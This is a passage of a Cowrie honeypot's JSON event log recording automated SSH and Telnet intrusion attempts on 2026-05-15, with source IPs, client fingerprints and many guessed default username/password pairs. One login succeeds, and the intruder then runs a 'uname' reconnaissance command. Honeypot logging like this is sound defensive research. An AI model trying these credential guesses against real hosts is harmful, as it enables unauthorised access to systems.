{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:08.263410Z","src_ip":"103.75.199.4","session":"025a17caaf2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:09.356876Z","src_ip":"103.75.199.4","session":"025a17caaf2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60720,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c82c8bbdf12","protocol":"ssh","message":"New connection: 103.75.199.4:60720 (159.203.135.109:22) [session: 7c82c8bbdf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:29.766698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:29.771235Z","src_ip":"103.75.199.4","session":"7c82c8bbdf12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:29.870369Z","src_ip":"103.75.199.4","session":"7c82c8bbdf12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:30.159133Z","src_ip":"103.75.199.4","session":"7c82c8bbdf12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:31.258903Z","src_ip":"103.75.199.4","session":"7c82c8bbdf12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":42816,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f829605eb0","protocol":"ssh","message":"New connection: 94.154.34.232:42816 (10.17.0.5:22) [session: 24f829605eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:34.326981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:34.335222Z","src_ip":"94.154.34.232","session":"24f829605eb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:34.465034Z","src_ip":"94.154.34.232","session":"24f829605eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bartek","password":"bartek","message":"login attempt [bartek/bartek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:34.969685Z","src_ip":"94.154.34.232","session":"24f829605eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a05c3d224ef","protocol":"telnet","message":"New connection: 50.6.8.71:48388 (10.17.0.5:23) [session: 4a05c3d224ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:35.322106Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:36.094214Z","src_ip":"94.154.34.232","session":"24f829605eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":57628,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccbcf7732550","protocol":"ssh","message":"New connection: 78.40.37.143:57628 (10.17.0.5:22) [session: ccbcf7732550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:40.186969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:40.191148Z","src_ip":"78.40.37.143","session":"ccbcf7732550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:40.273217Z","src_ip":"78.40.37.143","session":"ccbcf7732550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdQWE","message":"login attempt [root/123asdQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:40.624718Z","src_ip":"78.40.37.143","session":"ccbcf7732550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:41.707818Z","src_ip":"78.40.37.143","session":"ccbcf7732550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51512,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d85f555a195","protocol":"ssh","message":"New connection: 103.75.199.4:51512 (159.203.135.109:22) [session: 2d85f555a195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:51.653586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:51.657474Z","src_ip":"103.75.199.4","session":"2d85f555a195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:51.748579Z","src_ip":"103.75.199.4","session":"2d85f555a195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:52.022166Z","src_ip":"103.75.199.4","session":"2d85f555a195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:34:53.115798Z","src_ip":"103.75.199.4","session":"2d85f555a195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":38870,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b70003c74dd","protocol":"ssh","message":"New connection: 80.94.92.182:38870 (10.17.0.5:22) [session: 6b70003c74dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:03.869677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:03.931361Z","src_ip":"80.94.92.182","session":"6b70003c74dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:04.548589Z","src_ip":"80.94.92.182","session":"6b70003c74dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:04.914858Z","src_ip":"80.94.92.182","session":"6b70003c74dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83135676383972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:06.153341Z","src_ip":"50.6.8.71","session":"4a05c3d224ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:06.767140Z","src_ip":"80.94.92.182","session":"6b70003c74dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40928,"dst_ip":"159.203.135.109","dst_port":22,"session":"fffe6a7bcff4","protocol":"ssh","message":"New connection: 103.75.199.4:40928 (159.203.135.109:22) [session: fffe6a7bcff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:13.535738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:13.540910Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:13.633777Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:13.918946Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:14.149494Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:14.153152Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:14.249247Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:14.254658Z","src_ip":"103.75.199.4","session":"fffe6a7bcff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":47422,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14bcde39d09","protocol":"ssh","message":"New connection: 103.75.199.4:47422 (159.203.135.109:22) [session: b14bcde39d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:35.493706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:35.498518Z","src_ip":"103.75.199.4","session":"b14bcde39d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:35.591006Z","src_ip":"103.75.199.4","session":"b14bcde39d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:35.868656Z","src_ip":"103.75.199.4","session":"b14bcde39d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:36.963937Z","src_ip":"103.75.199.4","session":"b14bcde39d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.29.34.90","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"34bd0a54dd17","protocol":"ssh","message":"New connection: 115.29.34.90:57148 (10.17.0.5:22) [session: 34bd0a54dd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:37.898422Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":39632,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb94a1c4b1e9","protocol":"ssh","message":"New connection: 94.154.34.232:39632 (10.17.0.5:22) [session: bb94a1c4b1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:44.042555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:44.049903Z","src_ip":"94.154.34.232","session":"bb94a1c4b1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2